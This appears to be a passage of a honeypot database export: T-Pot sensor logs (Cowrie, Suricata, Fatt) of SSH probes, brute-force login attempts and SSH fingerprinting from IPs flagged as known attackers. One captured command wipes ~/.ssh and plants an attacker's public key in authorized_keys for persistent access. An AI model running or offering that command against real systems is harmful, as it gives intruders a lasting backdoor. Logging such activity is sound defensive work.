26807	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:07.466048+03	2021-09-20 14:15:13.754683+03	{"_id": "5wboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43316, "timestamp": "2021-09-20T11:13:07.466048", "@timestamp": "2021-09-20T11:13:07.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26808	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:08.539172+03	2021-09-20 14:15:13.755684+03	{"_id": "6AboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34834 (192.168.176.2:22) [session: b882088f7b09]", "session": "b882088f7b09", "@version": "1", "protocol": "ssh", "src_port": 34834, "dest_port": 22, "timestamp": "2021-09-20T11:13:08.539172Z", "@timestamp": "2021-09-20T11:13:08.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26809	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:07.809897+03	2021-09-20 14:15:13.757676+03	{"_id": "7gboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "128.199.123.0", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3486804962158203, "duplicate": true, "timestamp": "2021-09-20T11:13:07.809897Z", "@timestamp": "2021-09-20T11:13:07.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26811	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:08.107454+03	2021-09-20 14:15:13.759646+03	{"_id": "8AboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:08.107454Z", "@timestamp": "2021-09-20T11:13:08.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26812	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:08.283794+03	2021-09-20 14:15:13.760672+03	{"_id": "8QboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "128.199.123.0", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "de515b57e106", "@version": "1", "destfile": "/home/Irina/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:13:08.283794Z", "@timestamp": "2021-09-20T11:13:08.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
26813	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:08.286901+03	2021-09-20 14:15:13.761674+03	{"_id": "8gboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "128.199.123.0", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.18007230758666992, "duplicate": true, "timestamp": "2021-09-20T11:13:08.286901Z", "@timestamp": "2021-09-20T11:13:08.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26814	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:08.291679+03	2021-09-20 14:15:13.763675+03	{"_id": "8wboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 13 seconds", "session": "de515b57e106", "@version": "1", "duration": 13.302995443344116, "timestamp": "2021-09-20T11:13:08.291679Z", "@timestamp": "2021-09-20T11:13:08.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26815	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:08.541929+03	2021-09-20 14:15:13.764694+03	{"_id": "9AboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b882088f7b09", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:08.541929Z", "@timestamp": "2021-09-20T11:13:08.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26821	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:10.003618+03	2021-09-20 14:15:13.772647+03	{"_id": "CAboAnwBvYTbRNuE6CRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5115ca8944ee", "@version": "1", "duration": 3.0368354320526123, "timestamp": "2021-09-20T11:13:10.003618Z", "@timestamp": "2021-09-20T11:13:10.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26816	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:08.820471+03	2021-09-20 14:15:13.765645+03	{"_id": "9QboAnwBvYTbRNuE4iOZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1519627826163967, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34834, "dest_port": 22, "timestamp": "2021-09-20T11:13:08.820471Z", "@timestamp": "2021-09-20T11:13:08.820Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26817	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:08.544003+03	2021-09-20 14:15:13.766647+03	{"_id": "9gboAnwBvYTbRNuE4yPF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34834, "timestamp": "2021-09-20T11:13:08.544003", "@timestamp": "2021-09-20T11:13:08.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26818	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:08.70918+03	2021-09-20 14:15:13.767646+03	{"_id": "-QboAnwBvYTbRNuE5CN0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [guestuser/guestuser] failed", "session": "5115ca8944ee", "@version": "1", "password": "guestuser", "username": "guestuser", "timestamp": "2021-09-20T11:13:08.709180Z", "@timestamp": "2021-09-20T11:13:08.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26819	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:10.5787+03	2021-09-20 14:15:13.769676+03	{"_id": "BQboAnwBvYTbRNuE6CRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59798 (192.168.176.2:22) [session: 517e1283a7dc]", "session": "517e1283a7dc", "@version": "1", "protocol": "ssh", "src_port": 59798, "dest_port": 22, "timestamp": "2021-09-20T11:13:10.578700Z", "@timestamp": "2021-09-20T11:13:10.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26820	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:09.69703+03	2021-09-20 14:15:13.770646+03	{"_id": "AwboAnwBvYTbRNuE6CRd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [pro/Canada] failed", "session": "d1a5201b7b17", "@version": "1", "password": "Canada", "username": "pro", "timestamp": "2021-09-20T11:13:09.697030Z", "@timestamp": "2021-09-20T11:13:09.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26828	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:06.185166+03	2021-09-20 14:15:13.780647+03	{"_id": "rwboAnwBvYTbRNuE2CO9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:06.185166Z", "@timestamp": "2021-09-20T11:13:06.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26822	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:10.859183+03	2021-09-20 14:15:13.773674+03	{"_id": "CwboAnwBvYTbRNuE6iRq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 363476317278802, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59798, "dest_port": 22, "timestamp": "2021-09-20T11:13:10.859183Z", "@timestamp": "2021-09-20T11:13:10.859Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26823	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:11.170518+03	2021-09-20 14:15:13.774674+03	{"_id": "DgboAnwBvYTbRNuE6ySX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46638, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.170518", "@timestamp": 